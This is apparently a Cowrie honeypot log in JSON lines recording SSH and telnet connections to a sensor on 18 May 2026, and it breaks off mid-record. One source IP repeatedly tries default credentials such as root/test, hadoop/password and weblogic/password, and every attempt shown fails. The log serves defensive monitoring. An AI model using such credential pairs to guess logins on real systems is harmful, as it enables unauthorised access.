{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":32510,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dfab75d89c5","protocol":"ssh","message":"New connection: 45.156.87.69:32510 (159.203.135.109:22) [session: 8dfab75d89c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:54.378475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:54.383154Z","src_ip":"45.156.87.69","session":"8dfab75d89c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:54.473835Z","src_ip":"45.156.87.69","session":"8dfab75d89c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"password","message":"login attempt [hadoop/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:54.807549Z","src_ip":"45.156.87.69","session":"8dfab75d89c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:55.915822Z","src_ip":"45.156.87.69","session":"8dfab75d89c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":29192,"dst_ip":"159.203.135.109","dst_port":22,"session":"5af2c4d6b93f","protocol":"ssh","message":"New connection: 45.156.87.69:29192 (159.203.135.109:22) [session: 5af2c4d6b93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:57.965024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:57.969043Z","src_ip":"45.156.87.69","session":"5af2c4d6b93f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:58.062737Z","src_ip":"45.156.87.69","session":"5af2c4d6b93f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyrus","password":"cyrus","message":"login attempt [cyrus/cyrus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:58.416667Z","src_ip":"45.156.87.69","session":"5af2c4d6b93f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:57:59.594368Z","src_ip":"45.156.87.69","session":"5af2c4d6b93f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":29208,"dst_ip":"159.203.135.109","dst_port":22,"session":"788d01c9a2f6","protocol":"ssh","message":"New connection: 45.156.87.69:29208 (159.203.135.109:22) [session: 788d01c9a2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:01.721623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:01.730757Z","src_ip":"45.156.87.69","session":"788d01c9a2f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:01.825475Z","src_ip":"45.156.87.69","session":"788d01c9a2f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"password","message":"login attempt [weblogic/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:02.318974Z","src_ip":"45.156.87.69","session":"788d01c9a2f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:03.404949Z","src_ip":"45.156.87.69","session":"788d01c9a2f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36296,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1003cfa2de2","protocol":"telnet","message":"New connection: 152.42.224.71:36296 (10.17.0.5:23) [session: e1003cfa2de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:03.818638Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":29216,"dst_ip":"159.203.135.109","dst_port":22,"session":"280e6001fc1c","protocol":"ssh","message":"New connection: 45.156.87.69:29216 (159.203.135.109:22) [session: 280e6001fc1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:05.253382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:05.258270Z","src_ip":"45.156.87.69","session":"280e6001fc1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:05.364066Z","src_ip":"45.156.87.69","session":"280e6001fc1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test","message":"login attempt [root/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:06.019362Z","src_ip":"45.156.87.69","session":"280e6001fc1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42018,"dst_ip":"10.17.0.5","dst_port":23,"session":"70ce2c727232","protocol":"telnet","message":"New connection: 152.42.224.71:42018 (10.17.0.5:23) [session: 70ce2c727232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:06.722996Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:07.132207Z","src_ip":"45.156.87.69","session":"280e6001fc1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":56234,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7ee3281bc15","protocol":"ssh","message":"New connection: 45.156.87.69:56234 (159.203.135.109:22) [session: e7ee3281bc15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:09.005004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:09.009611Z","src_ip":"45.156.87.69","session":"e7ee3281bc15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:09.105554Z","src_ip":"45.156.87.69","session":"e7ee3281bc15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kino","password":"kino","message":"login attempt [kino/kino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:09.520872Z","src_ip":"45.156.87.69","session":"e7ee3281bc15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42026,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3d9b4d170b7","protocol":"telnet","message":"New connection: 152.42.224.71:42026 (10.17.0.5:23) [session: e3d9b4d170b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:09.586987Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:10.607723Z","src_ip":"45.156.87.69","session":"e7ee3281bc15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00188493728638,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:10.680886Z","src_ip":"186.193.55.224","session":"9e4c2125189e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":56236,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9f259a5cc86","protocol":"ssh","message":"New connection: 45.156.87.69:56236 (159.203.135.109:22) [session: f9f259a5cc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:12.643469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:12.647738Z","src_ip":"45.156.87.69","session":"f9f259a5cc86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:12.759039Z","src_ip":"45.156.87.69","session":"f9f259a5cc86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.537293910980225,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:12.977548Z","src_ip":"152.42.224.71","session":"b337f184dd21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42034,"dst_ip":"10.17.0.5","dst_port":23,"session":"e023bc1899bf","protocol":"telnet","message":"New connection: 152.42.224.71:42034 (10.17.0.5:23) [session: e023bc1899bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:13.057392Z"}
{"eventid":"cowrie.login.failed","username":"pds","password":"pds","message":"login attempt [pds/pds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:13.064422Z","src_ip":"45.156.87.69","session":"f9f259a5cc86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.7532470226287842,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:13.810644Z","src_ip":"152.42.224.71","session":"e023bc1899bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:14.148677Z","src_ip":"45.156.87.69","session":"f9f259a5cc86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":60382,"dst_ip":"159.203.135.109","dst_port":22,"session":"5589733e0a68","protocol":"ssh","message":"New connection: 45.156.87.69:60382 (159.203.135.109:22) [session: 5589733e0a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:16.226747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:16.231941Z","src_ip":"45.156.87.69","session":"5589733e0a68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:16.327542Z","src_ip":"45.156.87.69","session":"5589733e0a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.132416725158691,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:16.719295Z","src_ip":"152.42.224.71","session":"e3d9b4d170b7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"web","password":"web","message":"login attempt [web/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:16.840635Z","src_ip":"45.156.87.69","session":"5589733e0a68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.45837092399597,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:17.471063Z","src_ip":"152.42.224.71","session":"86625e854f2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:17.925430Z","src_ip":"45.156.87.69","session":"5589733e0a68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":60388,"dst_ip":"159.203.135.109","dst_port":22,"session":"77cc713af1c7","protocol":"ssh","message":"New connection: 45.156.87.69:60388 (159.203.135.109:22) [session: 77cc713af1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:19.919204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:58:19.923952Z","src_ip":"45.156.87.69","session":"77cc713af1c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@